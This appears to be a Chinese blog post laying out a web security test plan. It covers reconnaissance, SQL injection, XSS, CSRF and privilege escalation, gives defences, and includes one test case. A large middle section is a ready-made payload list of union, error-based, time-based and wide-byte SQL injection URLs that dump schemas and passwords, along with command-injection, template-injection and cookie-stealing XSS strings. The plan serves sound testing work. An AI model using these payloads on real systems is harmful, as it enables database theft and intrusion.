安全测试文档

web安全测试方案

一、 测试对象

xxx:端口-Pc\移动/小程序端

访问地址

二、测试环境

1.系统: win10 2.性能: i5-10代 16g运存

三、测试目的

针对XXX进行安全测试,发现程序中的漏洞、威胁、风险并防止来自入侵者的恶意攻击。 主要包括: XSS攻击、CSRF攻击、SQL攻击、XPath注入;

测试工具

OWASP ZAP:一款免费的开源Web应用程序安全测试工具,旨在帮助开发人员、安全测试人员和安全研究人员发现和利用Web应用程序中的漏洞。

四、安全测试

概括

通过以下介绍了解安全测试需要测试那些方面的内容

4.1 网络环境

采用远程渗透及端口扫描等方式。模拟来自于网络黑客攻击。
查询当前环境ip地址为: xx
  • 端口扫描-已打开的端口如下(以下端口为常用端口)

[21,22, 80, 443, 3306, 6379,8848]

  • 操作系统及版本 : 攻击者可以通过当前服务器版本存在的系统漏洞对服务器进行侵入

    • 网站正式环境==使用的web服务器版本: niginx/1.6.2

    • 网站测试环境==使用的web服务器版本: nginx/1.6.2

4.2 信息收集

  • 网络层类型及相关介绍

1. 防火墙保护(阻止可疑的流量进入)

2.入侵检测和预防(对数据进行分析,发现可疑的数据发出警报,或者重置该链接)

3. 网络访问控制(进入网络,只能访问批准的文件和数据)

4.云安全(云安全保护例如敏感数据、应用程序、虚拟化 IP 地址和服务等在线资源远离泄露、丢失或盗窃)

5.虚拟专用网 (VPN): 是一种通过加密用户数据、屏蔽用户 IP 地址和位置来保护用户身份的软件。

6. 数据损失预防 (DLP)用于确保端点用户不会意外或恶意地在公司网络之外共享敏感信息。

7. 安全web网关(防止未经授权的网络流量进入内部网络,保护可能访问包含病毒或恶意软件的恶意网站的用户和员工)

  • 路由探测 : 路由探测是一种Web安全测试技术,用于确定Web应用程序的网络拓扑结构。它通过发送特定的网络数据包来探测网络中的路由器和其他网络设备,并确定它们之间的连接方式和拓扑结构

  • 路由探测有哪些危害?

    • 1.攻击者获取网络、连通性等信息更方便侵入

    • 2.攻击者可以获取web目录扫描->暴露网站大致结构、部分文件泄露

  • 通信协议

    • 危害协议不安全可能会被中间人盗取信息

    • 常见的网络通信协议有:TCP/IP协议、IPX/SPX协议、NetBEUI协议等

      • TCP/IP协议 : 是一种网络通信协议,它是互联网的基础协议。TCP/IP协议是由两个协议组成的,分别是传输控制协议(TCP)和互联网协议(IP)由 FTPSMTP、TCP、UDP、IP等协议构成的协议簇

      • IPX/SPX协议: 是一种网络通信协议,它是Novell NetWare网络操作系统所采用的协议。IPX协议是一种网络层协议,类似于TCP/IP协议中的IP协议,它负责数据包的路由和寻址。SPX协议是一种传输层协议,类似于TCP协议,它负责数据的可靠传输,保证数据的完整性和顺序性。

      • NetBEUI协议: 是一种网络协议,用于在局域网(LAN)上的计算机之间进行通信。它是由IBM开发的,旨在提供一种简单、快速、可靠的通信方式,适用于小型网络环境。NetBEUI协议不需要配置IP地址,因此它可以在没有TCP/IP协议的网络上运行。它通常用于Windows 9x和Windows NT操作系统之间的通信,但在现代网络中已经被TCP/IP协议所取代

  • 接口数据: 在敏感数据从一个应用程序移动到另一个应用程序时进行拦截

    • 前台请求后台查询某条数据 可能会被攻击者看到数据

    • 攻击者 获取各个接口参数信息,寻找注入点 导致项目出现安全漏洞

4.2.2 主机层

  • 获取 端口 服务 开放情况

    • 攻击者获取服务器ip 查询开放端口 用过端口号猜测 该端口是某个服务

    • 暴力破解账户密码 导致出现安全漏洞

  • 常见的端口号以及对应的服务

服务

端口号

HTTP

80

HTTPS

443

telnet

23

FTP

21

SSH

22

SMTP

25

POP3

110

WebLogic

7001

TOMCAT

8080

Win2003远程登录

3389

oracle数据库

1521

Ms SQL *SERVER 数据库(微软数据库)

1433

MySQL数据库 server

3306

Redis

6379

Nacos

8848

  • 操作系统及软件版本: 假设攻击者知晓服务器当前版本 可能会 通过当前系统存在的安全漏洞 侵入服务器 便会造成数据丢失等严重问题

4.2.3 应用层

  • 什么是DNS域传送漏洞?

    • DNS域传输漏洞是指攻击者利用DNS服务器的漏洞,获取DNS服务器上的域名解析信息,包括域名、IP地址、主机名等敏感信息。攻击者可以通过这些信息进行网络侦察、渗透攻击等恶意行为。

  • 出现DNS域传输漏洞的原因?

    • DNS服务器在进行域名解析时,需要将域名解析信息存储在DNS缓存中,以提高域名解析的效率。攻击者可以通过发送特定的DNS请求,欺骗DNS服务器将缓存中的域名解析信息发送给攻击者,从而获取敏感信息。

  • 如何避免DNS域传输漏洞?

    • 对DNS服务器进行安全配置,限制域传输的权限,禁止公开的DNS服务器进行域传输操作。同时,也需要对网络进行安全加固,防止攻击者通过其他方式获取敏感信息。

  • 什么是越权?

    • 指攻击者通过某种手段获取了比其所拥有的权限更高的权限,从而可以执行一些本应该不被允许的操作。在Web安全中,越权通常指攻击者通过漏洞或者其他手段,获取了Web应用程序中的管理员权限或其他高权限用户的权限,从而可以执行一些危害性较高的操作,如修改、删除、添加数据等。

  • 越权的类型:

    • 水平越权(越权其他用户): 用户A查看自己的邮箱,发现自己也可以看到用户B、C、D的邮箱信息

    • 垂直越权(不同身份之间越权):比如你是普通用户,但是可以越权到管理员,甚至超级管理员。管理员和超级管理员能使用的功能就多了。

    • 上下文越权(可以跳过某个步骤):在某个程序需要执行n个步骤,而你却可以跳过其中某个步骤,直接到最后的步骤。

4.3 渗透测试

4.3.1 数据有效性

  • SQL注入:攻击者通过数据库执行搜索查询来利用漏洞。

    • 原理: 由于后端没有对前端用户输入的数据进行检验与过滤,导致用户输入的SQL语句传入到后端,被后端执行。

  • 什么是SQL宽字节注入?

    • 单字节字符集:所有的字符都使用一个字节来表示,比如 ASCII 编码(0-127)

    • 多字节字符集:在多字节字符集中,一部分字节用多个字节来表示,另一部分(可能没有)用单个字节来表示。

    • SQL宽字节注入指的是 mysql 数据库在使用宽字节(GBK)编码时,会认为两个字符是一个汉字(前一个ascii码要大于128(比如%df),才到汉字的范围),而且当我们输入单引号时,mysql会调用转义函数,将单引号变为’,其中\的十六进制是%5c,mysql的GBK编码,会认为%df%5c是一个宽字节,也就是’運’,从而使单引号闭合(逃逸),进行注入攻击。

  • 什么是数字型SQL注入?

    • 数字型SQL注入是一种针对Web应用程序的SQL注入攻击方式,它利用了Web应用程序对数字类型输入参数的处理不当,从而成功地执行SQL注入攻击。

    • 当SQL参数是整型时如Id 页码等 例:xxx?id=234 and 1=1

  • 什么是字符型SQL注入?

    • 用户在前端输入的参数值传入到后端,后端的SQL查询语句将参数值用引号或者括号等特殊符号包裹了起来。

  • 什么是SQL报错注入?

    • 是利用程序报错信息来注入恶意SQL语句,从而获取数据库数据的一种攻击技术。

  • 什么是SQL盲注?

    • 盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面,需要用一些方法和判断或者重试这个过程就是SQL盲注

  • 什么是二次注入?

    • 二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到SQL查询语句中导致的注入。

    • 比如攻击者注册 用户名为 admin'-- 注册后 对参数转义 存入数据库的时候还是原来的数据 攻击者修改密码的时候 admin '-- 导致后面的语句被注释掉 等于修改了admin的密码 这个过程是二次注入

  • 什么是偏移注入?

    • 偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下

    • 使用场景

      • 知道表名,不知道字段名

      • 注入点的字段数要大于需要查询的表名字段数

  • 什么是base64注入?

    • base64 注入是针对传递的参数被base64加密后的注入点进行注入。除了数据被加密以外,其中注入方式与常规注入一般无二

    • 例子: 仅发现两种

      • 例如id=1,把id=1全部加密处理,得到aWQ9MQ==,直接搜索inurl:?aWQ0

      • 只处理传参值,得到id=MQ==,搜索inurl:?id=M*=

  • 什么是伪静态注入?

    • 利用了Web服务器的URL重写功能,将动态URL转换为静态URL,从而使攻击者能够注入恶意SQL代码。这种注入方式被称为“伪静态注入”,因为它利用了URL重写技术,使动态URL看起来像静态URL。

    • 例子:

      • 假设有一个动态URL,用于从数据库中获取用户信息: http://192.168.31.42:8080/user/getUserInfo?id=1

      • http://example.com/user.php?id=1%20OR%201=1

  • 什么是Http头注入?

    • 当攻击者诱骗web应用到插入额外的HTTP头到合法的HTTP响应。HTTP标头注入是一种可用于促进恶意攻击的技术,例如跨站点脚本、Web缓存中毒等

常见的SQL注入方式

 

1. 数字型SQL注入:这种注入发生在数字型参数上,它会把参数当做语句继续执行,从而改变SQL语句的结果。 SELECT * FROM table WHERE id = 1 OR 1=1 2. 字符型SQL注入:这种注入发生在字符型参数上,它使用特殊字符对SQL语句进行改变,从而改变SQL语句的结果。 SELECT * FROM table WHERE name = 'admin' OR '1'='1' 判断个数 http://127.0.0.1/xx/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=1' order by 5--+ 找出可以回显的字段 http://192.168.31.42:8080/sss/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=?id=1' union select 1,2,3,4,5--+ 3. 布尔型SQL注入:这种注入发生在布尔型参数上,它使用布尔型参数来改变SQL语句的结果。 SELECT * FROM table WHERE bool = true OR 1 = 1 ?id=1' and substr((select user()),1,1)='r' -- + ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- + 4. 时间型SQL注入:这种注入发生在时间型参数上,它使用特殊时间参数来改变SQL语句的结果。 SELECT IF(SUBSTRING(user,1,1)='a', SLEEP(5), 1) FROM users WHERE id = 1 5.SQL报错注入:是利用程序报错信息来注入恶意SQL语句,从而获取数据库数据的一种攻击技术。 SELECT * FROM users WHERE id = '1' OR '1' = '1' 6. 盲注:这种注入发生在使用特殊字符的情况下,它使用特殊字符来改变SQL语句的结果,无法定位参数, 但可以返回正确的结果。 SELECT * FROM users WHERE name = (SELECT MID(password,1,1) FROM users WHERE id=1) -- SQL宽字节注入 http://192.168.31.42:8080/reportAuth/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=2%df%27 http://192.168.31.42:8080/reportAuth/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=1%df’ http://192.168.31.42:8080/reportAuth/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=1%df%27 http://192.168.31.42:8080/reportAuth/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=-1' union select 1,database(),user(),version(),5--+ http://192.168.31.42:8080/reportAuth/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=' union select 1,2,group_concat(schema_name),4,5 from information_schema.schemata--+ http://192.168.31.42:8080/reportAuth/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=-1' union select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema='study'--+ http://192.168.31.42:8080/reportAuth/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=-1' union select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_schema='study' and table_name='student'--+ -- 其他 用例 admin'/**/and/**/DBMS_PIPE.RECEIVE_MESSAGE('s',0)='s admin'and(select+1)>0waitfor/**/delay'0:0:0 admin'/**/and(select'1'from/**/pg_sleep(0))>'0 admin"and(select*from(select+sleep(2))a/**/union/**/select+1)=" admin"and(select*from(select+sleep(0))a/**/union/**/select+1)=" admin'and(select*from(select+sleep(3))a/**/union/**/select+1)=' admin'and'c'='c admin'"\( admin鎈'"\( expr 806611221 + 997466205 admin&set /A 911413438+906089431 admin$(expr 962935251 + 929380135) admin|expr 930840201 + 873592254 convert(int,sys.fn_sqlvarba admin'and/**/convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1199487333')))>'0 admin expr 983037841 + 840750877 admin'and(select'1'from/**/cast(md5(1580157050)as/**/int))>'0 extractvalue(1,concat(char(126),md5(1301020577))) admin"and/**/extractvalue(1,concat(char(126),md5(1922575879)))and" admin'and/**/extractvalue(1,concat(char(126),md5(1634038968)))and' <%- 988389609+885309036 %> #set($c=884874869+877967656)${c}$c ${987581318+821613195} /*1*/{{894643765+956323033}} '-var_dump(md5(572828254))-' oyrmiljureqiplwuafks %{41744*44696} '+(40086*41722)+' # 联合注入 ?id=1' order by 4--+ ?id=0'union select 1,2,3,database()--+ ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+ ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users' --+ group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name?id=0' union select 1,2,3,group_concat(password) from users --+ group_concat 可替换为 concat_ws(',',id,users,password )?id=0' union select 1,2,3,password from users limit 0,1--+ # 报错注入 1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.geometrycollection() select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.multipoint() select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon() select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon() select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring() select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring() select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp() select * from test where id=1 and exp(~(select * from(select user())a)); # 爆库 http://192.168.31.42:8080/reportAuth/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- + # SQL 伪静态 http://192.168.31.42:8080/reportAuth/person/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time=&id=1%20OR%201=1

  • 跨站脚本(XSS)攻击: xss是指允许恶意web用户将代码植入到提供给其它用户使用的页面中,代码包括HTML代码和客户端脚本

攻击者可以利用该漏洞将客户端脚本注入网页中,以便直接访问重要信息,冒充用户或诱使用户泄露重要信息。

  • 常见的xss注入方式/例子

    • 反射型 只能执行一次 提交的数据成功的实现了XSS,但是仅仅是对你这次访问产生了影响,是非持久型攻击

    • 存储型 保存在数据库中 持久提交的数据成功的实现了XSS,存入了数据库,别人访问这个页面的时候就会自动触发

  • 文件上传类型: 通过恶意的文件名称 达到存储xss注入的目的如 <script>alert('11')</script>.png1

常见的XSS注入方式

 

//基础 1,特殊字符: <,>,&,',",+,script,img,alert,=,onload,onerror,submit,% 2.input 输入 <script>alert(/XSS/)</script> <script>alert(document.cookie)</script> <script>alert(/vulnerable/)</script> <img src="javascript:alert('XSS')"> <img src=“x” onerror=alert(/1/)> <a href="javascript:alert(/1/)">XSS</a> <img src='x:x' onerror=alert(42)> <img src=oneerrer=alert(“XSS”)>; <svg onerror=alert(`1`)/> // 文件上传 xss 文件名:xss的关键字,限制中英文数字。 文件格式:mp4,avi,wmv,flv,txt,pdf,xls,xlsx,doc,docx,jpg,png,gif,bmp,jpeg 文件内容:导入模板内容限制中英文数字、长度(100,40) //http请求头 修改头部属性信息 X-Forwarded-For、X-Frame-Options、X-XSS-Protection、Referer等 //post数据 xss 基本:<,>,&,',"",+,script,img,alert,=,onload,onerror,submit,% 基本2:update,delete,select,insert 特殊:or,and,sleep,concat,order onclick,onfocus,iframe,<script,<base>,<form> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> <img src="javascript:alert('XSS')"> <img src=“x” onerror=alert(/1/)> <a href="javascript:alert(/1/)">XSS</a> <img src='x:x' onerror=alert(42)> <img src=oneerrer=alert("XSS")>; //get数据 xss 基本:<,>,&,',",+,script,img,alert,=,onload,onerror,submit,% 基本2:update,delete,select,insert 特殊:or,and,sleep,concat,order onclick,onfocus,iframe,<script,<base>,<form> <script>alert(XSS)</script> <script>alert(document.cookie)</script> <script>alert(/vulnerable/)</script> <img src="javascript:alert('XSS')"> <img src=“x” onerror=alert(/1/)> <a href="javascript:alert(/1/)">XSS</a> <img src='x:x' onerror=alert(42)> <img src=oneerrer=alert(“XSS”)>; //数据库存储型 xss <script>alert(/XSS/)</script> <script>alert(document.cookie)</script> <script>alert(vulnerable)</script> <img src="javascript:alert('XSS')"> <img src=“x” onerror=alert(/1/)> <a href="javascript:alert(/1/)">XSS</a> <img src='x:x' onerror=alert(42)> <img src=oneerrer=alert(“XSS”)>; //URL xss注入 http://www.xxx.com/?id=xx" onerror="this.onload()" onload="alert(/xss/)" x=" //标签属性类xss注入 onerror、onclick、src、filename、href属性:Javascirpt:alert('xss') javascript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'>

4.3.2 认证与会话

  • 1.用户账户猜解(字典攻击):

    • 攻击者通过字典对用户的密码进行多次测试

  • 2.cookie和session操作

    • 获取当前用户身份标识,伪装成当前用户进行一些操作(修改密码,转账等操作)

  • 3.跨站请求伪造

    通过利用用户的帐户特权,攻击者能够发送伪装成该用户的请求。

    • 用户打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;

    • 用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;

    • 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;

    • 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;

    • 浏览器收到来自B网站的恶意代码 伪装成用户本人操作A网站不知道 所以最后导致来自B网站的恶意代码在A网站执行

如何防护?

防止SQL注入?

  • 常规的sql注入防止

    • 用户输入的数据都不相信

    • 将传递来的参数过滤( 特殊符号进行过滤)

    • 将传递来的参数保存为字符串格式

防止CSRF跨站脚本

  • 为每个生成的视图添加了一个 CSRF 令牌。

  • 这个令牌必须在每个修改状态的 HTTP 请求(PATCH、POST、PUT 和 DELETE—— 不是 GET)上提交给服务器。这可以保护我们的应用程序免受 CSRF 攻击

  • 因为攻击者无法从他们自己的页面获取此令牌。

防止web服务器被路由探测扫描

  • 使用 CDN 作为外部服务的入口,公网服务仅允许来自 CDN机房的ip进行访问。

  • 目前主流的威胁情报平台记录了大量扫描器及其关联组织使用的基础设施(如代理服务器)的ip,可以将其作为黑名单,提前进行屏蔽。

  • 通过对流量或者日志进行分析,鉴定和拦截特定的扫描器行为。

  • 使用 waf(防火墙) 或 ips 等安全设备拦截攻击payload(攻击载荷模块),阻断扫描的漏洞探测流量

防止web中间人攻击

  • 确保当前你所访问的网站使用了HTTPS

  • 如果网站使用了SSL,确保你禁用了不安全的SSL/TLS协议

防止接口数据泄露

  • 使用SSL证书 防止接口数据泄露

  • IP地址限制、限制请求频率等

防止越权的方法

  • 不能只根据用户 id 参数去搜索,应该再次进行身份验证(防止水平越权)

  • 在每个页面加载前进行权限认证(防止垂直越权)

  • 对有多步验证的应用,需要准确验证上一步是否通过(防止上下文越权)

防止文件上传漏洞

  • 严格限制上传文件类型和上传文件名及后缀

  • 检查文件头和文件内容,对上传文件目录的运行权限进行严格限制

  • 上传文件的存储目录禁用执行权限

防止xss注入

  • 转义字符输出,用白名单验证、HTML实体化 将特殊符号转义、html标签转为普通文本

  • 输入过滤和验证 对用户 输入的数据进行过滤和验证

  • 最小权限原则 :指每个程序和系统用户都应该具有完成任务所必需的最小权限集合

4.4 测试用例

数据有效性

SQL注入

4.4.1 SQL注入-测试用例

测试项目

SQL注入

测试目的

由于SQL注入有可能造成信息泄漏,在严重情况下(根据使用的数据库而定)甚至可能造成数据修改、删除,从而导致业务中断。因此必须发现所有存在的注入点。

测试步骤

  1. 通过f12发现 http://192.168.31.42:8080/xxx/persoxxxn/list?searchName=&pageNum=1&pageSize=10&total=0&status=2&time&id 可能存在注入点

  2. 在apipost中 输入登陆后的token

  3. 在searchName填入字符型SQL注入

  4. " ' or 1=(SELECT @@version) --"

  5. 如果可以查到数据表明存在注入点

预期结果

不存在注入点,服务器基于错误信息提示

测试结果

备注

测试结论

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

万神.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值